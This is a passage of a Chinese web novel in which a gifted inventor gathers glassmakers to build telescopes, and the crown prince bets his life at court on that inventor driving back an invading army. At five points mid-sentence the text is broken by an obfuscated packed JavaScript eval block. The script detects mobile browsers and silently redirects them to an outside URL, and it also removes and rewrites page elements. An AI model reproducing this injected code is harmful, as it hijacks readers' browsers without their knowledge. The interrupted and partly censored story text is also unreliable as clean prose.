万一韩平送他们一首诗什么的，他们也能青史留名。 “来了，来了，韩先生来了。” 随着吆喝声，就见八个人抬着奢华的轿子过来，轿子的布用的是丝绸，窗帘是穿成串的玉石，叮当作响，十分悦耳。 以南宫狗剩，唐二牛为首的护卫，也都是一身锦衣，腰间配着刀，十分威武。 轿子倾斜，韩平潇洒走出，众人一片惊呼。 韩平穿着丝绸，带着玉石，金链子，珠光宝气，比一般的纨绔穿得，还要炫彩，简直可说是奇装异服。 毕竟，就算是纨绔，他们有家里长辈管着，不敢太过分，韩平是毫无顾忌，就差把“我有钱”三个字，写在脸上了。 “这是韩先生？怎么穿成这样？简直有辱斯文！” “读书人不能这么穿的，当简朴素雅。” “韩先生虽然有才，心性却是轻浮了点。” “怪不得连秀才都不是，到底难登大雅之堂。” …… 读书人不爽了，光看穿着，韩平就和他们不是一路人。 这让他们的期盼落空了，既然韩平不符合他们的期待，不免语言攻击。 他们不满，纨绔子弟却是兴高采烈，闹了半天，韩先生是我们一路的。 “哎哟！绿色丝绸大褂，和金链子竟然如此相配，我也得来一身。” “你们看韩先生的腰带，那可是专门定制的，腰带扣都是金子的。” “不知道吧？韩先生一顿饭，三十六个菜，还分主菜，副菜，五十两一个的冰淇淋，随便吃，就一甜点。” “有钱就应该这么来，咱们还得学啊。” …… 以前觉得当纨绔，总有点不上台面，今天才发现，自己不够纨绔，这事闹的。 “韩先生，里面请。” “妃苒姑娘在雅间恭候着呢。” 老-鸨笑容满面，那叫一个热情，韩平跟着上楼，不多会，来到顶楼，没开门呢，便听到一阵琴声。 房间里是一个青衣女子，正在抚琴，她鹅蛋脸，体态丰腴，眉眼之间妩媚天成。 看到韩平的穿着，她露出一抹惊异，马上反应过来，起身行礼：“小女子妃苒，见过韩先生。 韩先生大名，如雷贯耳，今天一见，果真是不同凡响。” 房间里弥漫着淡淡花香，并没有很重的脂粉气，反而格外清新，韩平真没有逛青-楼的经验，说了一句： “妃苒姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545288|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请起，不知那制作琉璃的大匠，现在何处？” 他是来办事的，有了琉璃，很多东西便能制出来了，比如试管啊，冷凝管啊，各种烧瓶啊。 要去渔阳城，他还打算造一些大型的凸透镜，可以远程聚焦。 另外还有护目镜，护住眼睛，更可以肆意地使用**。 “先生何必心急？” “能否先陪小女子喝上一杯？” 妃苒的声音，是故意弄出来的，有点像后世的夹子音，让人心痒痒的。 韩平见房间里，已经准备好了饭菜，阎罗醉，也不客气。 想着青-楼花魁想要的，无非是名声。 自己陪她坐坐，算是报酬了。 韩平连喝了几杯，妃苒说道：“先生为何如此冷淡？莫非是嫌奴家脏吗？奴家卖艺不**，至今仍然是女儿身。先生若是不信，可以验看。” 不愧是花魁，妃苒姑娘的人和声音，都带着强烈的魅惑，尤其是一双秋水眸子，潋滟生辉。 顾盼之间，是仰慕，是倾心，是刻意地讨好。 太妖了！ “不必，我自是相信。” 这怎么验？ 只怕一验，自己便掉入了对方的温柔陷阱，光是对坐，韩平都觉得，自己的自制力受到了极大挑战。 “既然相信，先生可愿喝下奴家这杯残酒？” 妃苒把杯子递过来，杯子边沿还有淡淡胭脂红，韩平更是怦然心动，急忙克制，见一边的书案上有文房四宝，便起身，拿起毛笔，在宣纸上写了一首诗： “不是樽前爱惜身，佯狂难免假成真。曾经酒醉鞭名马，生怕情多累美人。” 看到最后一句“生怕情多累美人”，被才气震惊，妃苒痴意更浓，眉目之间多了几分伤感，温柔道：“先生是怜惜奴家吗？奴家很欢喜。” 韩平怕被她柔媚所惑，淡淡道：“制作琉璃的大匠，可否交给在下？” “当然可以！先生有需要，奴家无所不从。“ 打开门，妃苒召唤。 很快，几名面容黝黑的汉子出现，自然便是琉璃大匠了，韩平抱拳：“多谢姑娘成全，告辞。” 有些女人天生妖媚，动人心魄，韩平有点逃的意思。 刚走到楼下，妃苒从楼上探出头来：“妃苒此生，此身，只属于先生一个人。你若不来，我便独自枯萎在这盛夏的蝉鸣里。” 第89章 望远镜 第八十九章望远镜 来到这个世界，韩平本身是带着自傲情节的，毕竟，他掌握着太多超越这个时代的东西，对刘雪宝，曹淑君，赵杏儿等人，也有一种俯瞰的姿态。 伯爵府的那十名佳丽，虽然个个肤白貌美，他也是居高临下的。 可面对妃苒，他有点意乱-情迷。 或许是因为妃苒更加自信，更加愿意呈现女人美好的一面，和现代文明下的女人，有几许相像。 面对她放下矜持的主动，韩平望了一眼，转身离去。 周围的议论声，已成鼎沸。 “这也太强了吧？” “是啊，妃苒姑娘可是不在乎金银的，就算再有钱的公子，没有才华，也难见她一面，可她对韩平，竟然一见倾心。” “上古时期，有情圣出没人间，女人一见，便爱到不能自拔，韩先生岂非情圣乎？” “哎呀呀……诗鬼，酒魔，字神，画中仙之外，还要再加一个情圣吗？” “天下之才共八斗，韩安之独占八斗，奈何奈何！” …… 不多会，妃苒把韩平写的那首诗张挂了出来，自然又是引来一片唏嘘。 那些看不惯韩平穿衣的读书人，脸都黑了。 这人太有才了，就拒个酒而已，竟然也能写出一篇传世佳作，根本就没法比。 偏偏他不喜欢青衫，喜欢大金链子。 儒生们有一种被辜负的感觉，像怨妇一样，欲求不满，烦躁胸闷。 “各位真的能做出琉璃？” 成功的男人，总是能够吸引到女人。 韩平现在还真没心思风流，他需要问清楚，看能不能给自己增加几样杀器。 去渔阳城是非常危险的，现在他手里也只有一个**，远远不够。 “韩先生，我们真的能，不过这是我们看家的本事，不会轻易泄露，所以我们要求专门的窑炉。” “先生需要什么样的琉璃，尽管说，我们做出来便是。” 几个窑工里面，领头的叫杨守栋，竟然还知道讨价还价。 韩平没当回事，琉璃他不是做不出来，只是材料不足。 本身，自然界中，就存在比较透明的石头。 想办法去除里面的杂志，其实就是粗糙的玻璃了。 只不过方解石，石灰石，白云石，芒硝这些东西，一时间全部收集齐，比较困难。 “好说！” 当即，韩平就给他们安排了一个专门的窑炉，先让他们展示展示。 几人倒也利落，很快，便烧制出了琉璃，虽然说透明度差点，也算是玻璃了。 “你们都是有专业技能的，每个人的工钱，一天二十五文。” “如果干的好，还会有增加。” “工坊管饭，享受二级餐待遇。” 既然要用到人家，韩平也不小气。 他知道，这个时代掌握技术的人，基本都是这么护着的。 所谓教会徒弟饿死师父，不到咽气，他们都不会把自己的本事传出去。 除非是亲儿子。 也是因为这样，很多技艺一不小心便失传了。 “谢谢韩先生，太感谢了，我们一准好好干。” 几人连连咽口水。 他们有技术没错，只是喜欢琉璃的人，是很少的，琉璃就是比较透明，在大部分人看来，根本没啥用。 “我先给你们画几个设计图，你们按图去炼制。” “要求特别简单，越透明越少杂质越好。” 韩平本来就想好了，要制作护目镜，凸透镜，看到玻璃实物，又想到了望远镜。 当然，他制作的，是最原始，最简单的望远镜。 原理简单，以凸透镜作为物镜，凹透镜作为目镜，比较麻烦的，其实是距离调整，务必要让物镜跟目镜的距离，和两个透镜焦距相等。 别看需要的东西不多，制作也不会太难。 这玩意在这个时代，绝对算得上千里眼，不用倍数太高，能有四五倍便不得了。 天气好的时候，站在瞭望台，可以提早发现敌军，提早做好准备。 “嗯？” “好，我们会非常努力的。” 杨守栋几人愣愣乎乎的，他们通常制作的，是琉璃杯子，还从来没有制作过什么凸透镜，凹透镜呢。 看起来凸透镜和凹透镜，比制作杯子，还要简单很多。 “做好了，先拿给我看。” “你们分成两班，昼夜不停，人不够，可以叫你们的家人过来帮忙，都有工钱。” 安排好这里，韩平又去看了看**作坊，见已经出了两万多枚**，放心了很多。 护目镜光有个镜片不行，还得能绑在眼睛上才行。 他简单设计了个铁箍，能够箍着透明-镜片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545289|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，两边用棉绳绑着，可以扎到头后面。 反正是临时的，能用就行。 为了保证凸透镜的安全性，也设计个铁箍，箍住镜子四周，这样不容易碎。 最麻烦的是望远镜，如果用铁的话，就需要铁管子。 他专门叫了一批铁匠过来，就在琉璃窑炉的外面，专门等着，负责配套。 有了东西，没有人也不行，路上土匪山贼的，太多了。 于是，他发了召集令，以每天两百文的饷银招护卫。 大越士兵的饷银，按照规定，一个月差不多两千文，问题就在这里，规定是有那么多，实际上发到士兵手里的，一个月能有八百文便不错了。 “两百文？真的假的？” “有毛病吧？竟然怀疑韩先生，两百文才多少钱啊？干两年还买不起一个冰淇淋呢。” “跟着韩先生准没错，只是这要求太多了，眼神要好，还要力气大，身上还不能有纹身。” “闹呢？两百文能是那么好拿的？” …… 灾民实在太多了，没有什么活路，光是在施粥点吃粥水，身体只会越来越差，加入土匪也是小喽啰，一不小心就**。 想进工坊，也不好进。 转眼间，便有几万人排着队，要给韩平当护卫。 为了测量大家的视力，韩平还专门弄了个视力表。 折腾了大半天，招够了一千人，又要给他们配盔甲，打铁来不及，便用竹子，反正人多，三天之内，完全来得及。 韩平自己倒是专门打造了一套盔甲，同样是因为时间来不及，不然，他直接打造一套板甲。 这个时代的盔甲，防护不周全，比如面部，脖子这种地方，就防护不住，而且，防利器效果好，防不了钝器。 穿再好的盔甲，一个战锤砸下来，嗝屁升天。 接下来的几天，韩平又购买了一些马匹，准备了食物。 “先停止制造凸透镜，凹面镜，只制造平面镜。” “一是生产大块的平面琉璃，越透明越好。” “二则，平面镜里面可以加入少量墨汁，做成墨镜，镜片的种类，多一些。” 临走之前，韩平又交代了琉璃坊，为后面的事做准备。 平面琉璃用在窗户上，大棚上。 至于说墨镜，这个时代纨绔那么多，一副墨镜，卖他们八百两，不多吧？ 第90章 东宫太子 第九十章东宫太子 摊子铺得太大，每一个地方，都得交代清楚。 韩平把写出来的《白娘子传奇》交给谢京珠，让她找一帮人，以唱戏的方式表现出来。 他写的只是大概的情节，具体的还可以增加，更改，反正怎么好看，怎么来。 在琴川，韩平重点交代了陈文灿，一定要举办斗牛大赛，免费供人观看，等他回来再说收钱的事。 另外让他收集一些猛兽，比如老虎啊，豹子啊，狼啊。 将来让老虎和老虎打，老虎和人打，好歹弄个斗兽场出来。 做完这些安排，他带着秦明虎，带着伯爵府的一些护卫，还有新招的一千名护卫，浩浩荡荡，前往渔阳城。 太过仓促，很多护卫连兵器都没有，手里就拿一个棍子。 不过，**，望远镜，凸透镜，护目镜这些东西，带得真不少。 大夏天，什么东西都容易腐烂，韩平按照地图，尽量路过城镇，这样便可以吃好喝好了。 …… 吏部侍郎的官邸，大小姐房春白看着眼前的一幅幅画，眼神迷-离，吟咏不已。 “天南地北**客，老翅几回寒暑。” “庭有枇杷树，吾妻死之年所手植也，今已亭亭如盖矣。” “晚来天欲雪，能饮一杯无？” “寻寻觅觅，冷冷清清，凄凄惨惨戚戚。” “人生若只如初见，何事秋风悲画扇？” …… 多年来，她一直都在寻找诗词大才，只可惜，大越文风不振，能看得入眼的，没有几首。 今天突然看到这些，她脸都白了。 “韩平韩安之到底何许人也？” 她怔怔地询问，畅想不已。 身边的丫鬟灵犀消息灵通，笑道： “小姐，这人的名声可大了，都说他是人间情圣，诗鬼，酒魔，字神，画中仙。还有人说他是文曲星转世，活着的圣人。他的诗词，果真是好吗？” 灵犀认不得几个字，看不懂，只知道小姐从来没有这么惊讶过。 房春白摇摇头：“何止是好，便是历来名家，也望尘莫及。人生一世，能见到这样的文字，不虚此生。只是……” 说到这，房春白耳边涌起淡淡红霞。 灵犀知她心意，说道：“小姐，我打听过了，韩平长得清俊温雅，仪表堂堂。” 房春白嗔了一眼：“谁要知道这些了？别胡说八道。” 灵犀露出懵懂神色：“小姐不就想嫁一个有文采的吗？这个韩平挺合适的呀。” 唉！ 这次房春白没有反驳，而是长叹了一口气。 这般男子，不知道多少女子巴望，追逐，哪里轮得到自己？ “只要能和他谈谈诗词，我便也心满意足了。” “你再去打听打听，他在做什么。” 从来没有见过的人，房春白有了强烈的好奇心，他每日里干什么，想什么，他是怎么看这个世界的，他对未来有什么样的梦想，他喜欢吃翠花糕吗？ 想不出来。 除了这些诗词书画，她只知道韩平酿制了一种酒水，名作阎罗醉，十分辛辣。 虽然喝不惯，她也会每天品尝一点，试图通过酒水，多少了解一点韩平的胸怀。 “小姐怎么灰心丧气的？” “韩平若是见了小姐的美貌，定然愿意娶你的。” 能够赢得那么多官宦，勋贵子弟的青睐，房春白靠的可不仅仅是身份，还有名动天下的容颜。 曾经，党项酋帅听闻房春白美貌，专门派人来求取，房春白誓死不从，方才罢了。 “又来说嘴，我是只看才华的吗？” “男人最重要的，是人品，只是不知道，他人品如何。” “你重点打听这个。” 目光又回到了书画上，房春白甚至忍不住想，这般惊才绝艳的男子，也会和寻常男子一般喜欢女人吗？ 自己再美，终究是凡女，如何匹配神仙一般的他？ …… 东宫，太子李元亨正在温**兵书，随着边关战乱剧烈，他想弄清楚，怎么才能打败柔然。 看来看去终究毫无头绪。 韬略兵书上的计谋固然多，对柔然人似乎并无效果，很大原因，柔然人并不愿意和越朝交流，只是用兵不止。 心里没有成算，等到了朝堂，自然难以应对，恐怕又要被父皇责骂。 想到这，他惆怅不已。 确立太子已经八年，八年来，他的地位非但没有上涨，反而被三皇子，四皇子，六皇子等人，压得喘不过气。 朝堂六部中，他没有一个听他的，他整天都在焦虑，害怕这个太子当不长久。 “殿下，陈知州密信！” 这时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15549391|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，属下快步进来，手托两指宽的条子，一看就知道，是通过信鸽送来的，李元亨面色阴翳。 朝中缺乏亲信，他便想偷偷培养，陈文灿人才难得，便是他的人。 只是他千叮咛万嘱咐，不到万不得已，千万不要联系。 对方远在山南道，竟然给自己送密信，实在太不谨慎了。 能有多大的事啊？ 带着不满，他打开了纸条，上面就三句话：“琴川韩平，有麒麟之才，得之可得天下！天下之才共十斗，韩安之一人，独占九斗，请殿下务必笼络。他已前往渔阳城，吾断言，他可退柔然大军，解渔阳城危局。” 啊？ 李元亨耸然动容。 陈文灿是探花，才干敏捷，处事稳重，绝对不是轻浮之人，他竟然如此推崇韩平。 竟然说天下之才共十斗，韩平独占九斗。 如果是这样，那自己也不用费劲去寻找人才了，只需要把韩平收到门下，便万事大吉。 他急忙把太子府詹事孟庆和叫了过来。 “先生可曾听过韩平的名号？” “太子所说，可是号称人间情圣，诗鬼，酒魔，字神，画中仙的韩平？” 诗词书画之类的东西，传播速度是最快的，孟庆和看过了，也是惊叹不已。 只是诗词歌赋，终究只能用来消遣，和军国大事无用。 要不然，他早就举荐。 “这么多名号？他有什么诗词，拿来我看。” 孟庆和小跑出去，抱了一堆书画过来，李元亨一一细看，越看越惊，恍然明白过来，陈文灿为什么如此推崇。 “听说除了诗词文墨，他还颇有经营之才，那阎罗醉便是他酿制的。” 见李元亨感兴趣，孟庆和又多说了点，“哦，对了，都察院有一桩官司，便是关于他的。” “什么官司？快说！” 李元亨好像抓住救命稻草一样，在夺嫡之争中，看到了一丝光亮。 孟庆和仔细讲了，嘉陵，琴川，江宁三个地方争夺工坊的事。 听到韩平组织的工坊，招纳了几万人之多，李元亨更心热了。 这人不但文采了得，还能赚钱，光这些才干，便值得拉拢，更不要说，眼下只看到这些。 他也明白了，陈文灿为什么冒着暴露的风险，也要给自己传讯。 笼络住此人，大位就稳了！ 第91章 朝堂之争 第九十一章朝堂之争 “有事起奏，无事退朝。” 随着新的一天开始，大越朝堂迎来了新的篇章，领侍太监一声喊，右都御史姚序之站了出来：“臣有本启奏。” 接到三个地方争夺一个人的官司，他本来没当一回事，按照律法-办就行了。 接着，工部尚书过来说情，让他把韩平判给江宁。 很快，有勋贵过来，让他把韩平判给琴川。 右都御史正三品，挺大的官了，可来说情的，要么从一品，要么家里有勋爵，**罔替的那种，都不是他能得罪起的。 尚书说是从一品，其实在朝堂上，已经是最大的了。 正一品的三公，都是虚职，或者尚书**，皇上赐谥号，给个正一品的官位。 若是让他判，他是会把韩平判给嘉陵的，无他，灾荒年，名籍已经名存实亡，没有任何异议了。 如果离开名籍所在地，就叫逃户，那天下尽是逃户了。 不能说你陈文灿玩了个小花招，韩平就得回琴川。 问题是，那么多人说情，他可不敢随便处置。 其中的关键，他也是清楚的。 韩平组建工坊，招纳长工两万多人，留在什么地方，都能创造巨大的财政收入，同时也能稳定灾情，关系地方长官的身家仕途。 一五一十地，他把情况说了，无奈道：“关系到灾民，臣不敢擅自做主，还请陛下圣裁！” 让皇上做决定，他就不用承担责任了。 都察院虽然有监察天下官员的指责，却也不愿意轻易得罪人。 “各位爱卿，你们怎么看？” 景武帝坐在龙座上，看向其他人，手心手背都是肉，如果乱安排，三个地方任何一个地方乱了，黑锅都是他的。 皇上是不能背黑锅的，最多是被臣下蒙蔽，他现在就是找个蒙蔽他的人。 当然，如果做对了，自然是全靠皇上圣明。 “陛下，韩平本是琴川之人，陈文灿也拿到了批文，自然应该回到琴川。” “万万不可！陈文灿此人欺瞒上官，岂能纵容？以我之见，韩平应该前往江宁，建造工坊。” “据臣所知，韩平遇土匪刺杀，是陈文灿救他脱离危险，为感谢陈知州，韩平已经在琴川招募长短工五千人之多，建造工坊，突然搬走，既违背了韩平心意，也会浪费民财。” “韩平是琴川之人没错，但他更是山南道之人，理应听从冯刺史安排。” …… 两万多人的工坊，光是交税，便是很大一批银子。 这税可不都是进国库，其中一部分，是要进勋贵和京城众官手里的。 说白了，大家现在争的，是自己的钱袋子，那能不用心吗？ “父皇，以儿臣所见，一静不如一动，还是让韩平留在嘉陵吧。” 眼珠子忽闪之后，三皇子李元泰站了出来。 从官员的维护方向，他就看出来，嘉陵知州是个小可怜，没后台的。 本来知州这个级别的官员，他是看不到眼里的，但想到嘉陵已经有两万多人的工坊了，今年的赋税必然大涨，不妨帮嘉陵说说话，把庄典收到自己麾下。 “太子，你怎么看？” 景武帝洞若观火，看得一清二楚，多年以来，他制衡朝堂，靠的是分力，那边势弱，就帮帮，那边势强，就打击。 之所以打击太子，那是因为，太子已经有储君名分了，如果再得朝堂拥护，那他这个皇帝，岂不是要退位？ “父皇，江宁，嘉陵，琴川都是受灾严重的地方，不如让韩平在三个地方建立工坊。至于工坊的大小，招纳人员的多少，为了表明朝廷厚待贤士，让韩平自己决定好了。” 工坊的事，李元亨是不太在乎的，他先给自己立了个人设，厚待贤士。 四皇子李元杰嘲讽了起来：“太子和的一手好稀泥，倒是谁都不得罪。” 太子和几个皇子势如水火，朝堂上斗嘴，是最寻常不过的，景武帝沉吟半晌，说道：“就按太子说的办吧。” 最近太子被压得有点狠，要让他松口气，不然，让其他几个皇子坐大，也不是好事。 帝王嘛，就是要神秘莫测，今天支持你，明天就支持他，谁也猜不透。 “陛下，刺史冯云程为韩平请功，说韩平济世安民，当赐予爵位。” 右都御史又站了出来，都察院左都御史主要负 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15549392|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 责京城官员考察，右都御史主要负责地方官员考察，大小事都要管。 朝堂众人听到赐爵，大多露出不以为然的神色。 四皇子李元杰更是笑了出来：“他就算有功，不过一介商贾，凭什么获得爵位？我大越太-祖有令，非军功不得封爵，还能为他破了祖宗之法？” 皇子嘛，自然是眼高于顶。 李元杰对三品以下官员根本看不到眼里，更不要说商贾了，他并不觉得救点灾民有什么大不了。 就算灾民**，让大军杀过去平乱就是。 把不肯做安安饿殍的都杀光，灾荒也就过去了。 “四弟此言差矣，我大越内忧外患，正当革故鼎新，岂能抱残守缺？” “如果没有工坊招录灾民，三地恐怕会爆发暴-乱，到时候，又要耗费朝廷钱粮，派军去打，还未必能胜。” “细思韩平所作所为，和军功无异。” “以儿臣见，赐给韩平一个伯爵，也是应该。” 笼络嘛，当然要说好话，这么讲道理其实也是没错的，哪知道李元杰马上阴恻恻道： “太子真真是能干，父皇尚在，就要革故鼎新了，这故是太-祖，是父皇，新自然是太子爷您了。谋朝篡位之心，昭然若揭，父皇，一定要严惩啊。” 也是习惯了，李元杰是哪里痛就往哪里戳。 自古以来当皇帝的，最防范的不是别人，就是太子。 历来的太子，没几个是不悲催的。 属于是万千错误集于一身，太子勤奋，叫图谋不轨，太子懒政，叫难当大任，太子聪明，叫心思阴骘，太子愚笨，叫无帝王之才。 太子往东走，分明是和太阳对着干。 太子往西走，竟然呼喊黑暗。 打这个点，没有不中的，果然，景武帝顿时面色一沉：“商人岂能封爵？太子之言，荒诞不羁。” 若是往常时节，李元亨便不会多说了，今天不同，要拉拢麒麟之才，他愤然道：“父皇，韩平不光有济世安民之术，更有安邦定国之能。如果他退了柔然大军，试问该封什么爵位？” 景武帝哑然失笑：“世上哪有这种人？他手里无兵无将，如何让柔然退兵？” 第92章 陛下，敢赌吗？ 第九十二章陛下，敢赌吗？ 朝堂之上，所有朝臣都需要看皇上的眼色。 皇上喜欢打压太子，其他人自然不待见，三皇子李元泰，四皇子李元杰，六皇子李元瑞哂笑不已，纷纷附和。 “就是，世界上没有全才，这个韩平，能够经营工坊，已经是良才了，父皇圣明，自然会有赏赐。” “可不仅仅会经营，韩平此人还有诗词之才，如今名动大越，十分了得，但看他生平，未有领兵经验，连边关都没去过，如何退柔然大军？” “呵呵……知道太子爷您求贤若渴，想要把天下贤才都收入囊中，可也不必夸口至此。” “韩平是父皇的子民，是大越的人才，太子那么急切，想要拉拢，其心可诛啊。” …… 几个皇子是特别容易拧成一股绳的，要当皇上，先要当太子，自然要把太子李元亨给搞掉。 他们说的话，十分有道理，朝臣们纷纷点头。 正因为不同的人，有不同的才干，所以才会有六部，才会分文武。 真有一个人，什么都会，那不就显着他了？ 其他人怎么办？ 被讥讽的脸色通红，李元亨本能地想要退缩，却硬生生地咬牙挺住。 不是他不想韬光养晦，在刚开始当太子的那几年，他便是这么做的，凡事低调，想着已经当太子了，只要苟下去，帝位早晚是自己。 结果，在朝堂上没有援手不说，就连东宫也被渗透，不光说的话统统泄露，他还差点被人毒死。 那时他便明白了，夺嫡之路凶险无比，身为太子的他，是低调不了的，他必须一直争下去，一直斗下去。 要么成为九五之尊，要么万劫不复。 就算眼下他放弃太子，他也活不了。 将心比心，如果他登基了，肯定也不会放过眼前的几个弟兄，不把他们杀干净，怎能平心头之恨？ “父皇！据儿臣所知，韩平已经前往渔阳城。” “请问父皇，如果他真的击退了柔然大军，该封什么爵位？” 想要封爵太难了，李元亨想先说好，毕竟，很多时候，朝堂是无对错，无是非的。 说你有错，你就是错了，说你没错，你就是没错。 就算有天大的功劳，经常朝臣们一通议论，说不定就能给你定罪，来个满门抄斩。 道理？ 熟读四书五经的各位儒家大能们，最擅长的，便是讲道理，黑-道理说成是白的，那是拿手好戏。 “你这是要和朕赌一把？” 从来，景武帝说什么，便是什么。 他已经说了，世上没有这种人，太子竟然反驳，他顿时不悦。 想着太子应该会退缩了，哪知道李元亨大声道：“儿臣正有此意。” 立刻，嘲讽声充满朝堂。 其他几个皇子，乐得眼睛都看不到了。 他们平常打压太子，努力让太子出丑，只是一向里，太子谨慎，很难抓住把柄，今天可算是抓住了。 “父皇！太子之言简直大逆不道。” “祖宗有灵，赶紧降下天雷，劈了太子吧。” “太子好大的胆子，这是自诩见识胜过陛下了？” “太子狂悖，该当圈禁反思。” …… 整天听景武帝称孤道寡，李元亨发现，自己才是真正的寡人。 偌大的朝堂，连一个自己人都没有，都认定了，他这个太子当不长。 现在是困兽犹斗，他选择相信陈文灿的眼光，押注韩平有通天彻地之才。 挺直了腰杆，他昂然道：“君有诤臣，不亡其国；父有诤子，不亡其家。不管是几位臣弟，还是满朝公卿，都只会阿谀奉承。 正因如此，国事艰难至此。 儿臣今天逆天而行，就是想告诉父皇，天下之大，俊才多矣。 以儿臣所见，这位韩平，便是超凡入圣之人才。 如果儿臣见识不对，甘愿舍弃太子之位。 父皇可敢一赌？” 为国为家为自己，李元亨愤然一搏。 他真的没有选择了，作为太子，被孤立到这种程度，被废也是迟早的事情。 今天他要振聋发聩，让自己的声音，响彻朝堂。 假如韩平真的能击退柔然大军，他的声望将会一飞冲天。 “好！好！太子是把朕当昏君了。” “我便和你赌了，如果韩平真能击退柔然大军，我封他侯爵。” “如果不能，你便自裁以谢天下。” 儿子算什么东西！ 敢和自己唱反调，景武帝杀起来，是丝毫不会手软的。 反正他有几十个儿子呢，杀几个，毫无心理负担。 更不要说，就算把所有儿子放在一块，也无法和帝王之位相比。 “儿臣遵旨。” 面色苍白，李元亨勉强支撑。 这一把，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558189|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是把自己的一切都赌上去了，就等结果了。 其他几个皇子面带欢悦，都认为李元亨死定了。 太子**便要立新的太子，又有一番争夺。 讨论完韩平的事，景武帝话头一转说道：“柔然大军兵分六路，攻势猛烈，各位爱卿，是和是战，你们有什么看法？” 谈和！ 这是景武帝想要促成的，能站在朝堂上的，都是人精，只要皇上提出和这个选择，就是想谈和。 如果想一直打下去，应该谈怎么打的问题。 只是，要想和谈，就必须割地赔款，这是必须的，谁让人家柔然占据优势呢。 “父皇，儿臣认为应该和谈，如今灾情越加蔓延，有些地方，暴民四起，攘外必先安内。” 见没人说话，四皇子李元杰站了出来。 他知道，和谈会招来骂名，但他更知道，皇上需要有人承担这种骂名。 他愿意帮皇上背负骂名，这才是尽忠。 “四皇子谋国之言，老臣赞同。” “请陛下派出使臣，和柔然建立联系。” “另外，应该督促边关将士，如果这时能打一场胜仗，和谈便容易许多。” “可以将大军推进过去，逼迫柔然和谈。” “不妥，万一打了败仗，柔然只会更加猖狂。” “如不能痛击柔然，他们必然狮子大张口，难道他们要整个怀荒，也给他们？” …… 和谈是一揽子工程，牵扯的事太多了，朝中大臣往往都是纸上谈兵，说的有道理。 问题是，怎么办到。 没错，打赢了好谈判，问题是打不赢啊，如果能打赢，还谈判干嘛？ 商量来商量去，指派了一个六品侍中，名叫姜道昌的，临时提拔为四品中郎将，出使柔然。 因为是刚刚接触，不能派太大的官过去，同时又必须能够准确传达皇上的意思。 姜道昌原来是近卫，和皇上走得近，后来当过厩监?6?8，管理皇家马厩，也就是弼马温。 显然皇上已经和他说过了，姜道昌倒是大大方方地，受了节杖。 “父皇，儿臣以为不可。” “韩平已经前往渔阳城，若他能击退柔然大军，到时，便是柔然要与我们和谈，是他们要割地赔偿。” “如今势弱而往，只怕谈出的结果，与我方极为不利。” 想着都豁出去了，李元亨又站了出来。 第93章 皇九子，女的？ 第九十三章皇九子，女的？ 身家性命都在这一局，李元亨是孤注一掷。 可话一说完，只听到冷笑声不绝于耳，皇子和大臣，都是不屑至极。 连景武帝也露出了极为不耐之色。 和谈这件事，他早就在透风，就是让所有人都明白，和谈是大势，别开始和谈了，再有**义凛然地说什么丧权辱国。 哪个皇帝愿意割地赔偿？ 甚至还有和亲，纳贡，都是没体面的事。 这不是没办法嘛，若是能打得过，谁不打？ 现在不和谈，难道要等到柔然人打到京城吗？ 景武帝对于国政已经有了安排，先和谈，度过灾年，然后养精蓄锐，再把给出去的拿回来。 太子出来唱反调，说什么韩平能击退柔然大军，在景武帝看来，这根本是无稽之谈，可笑至极。 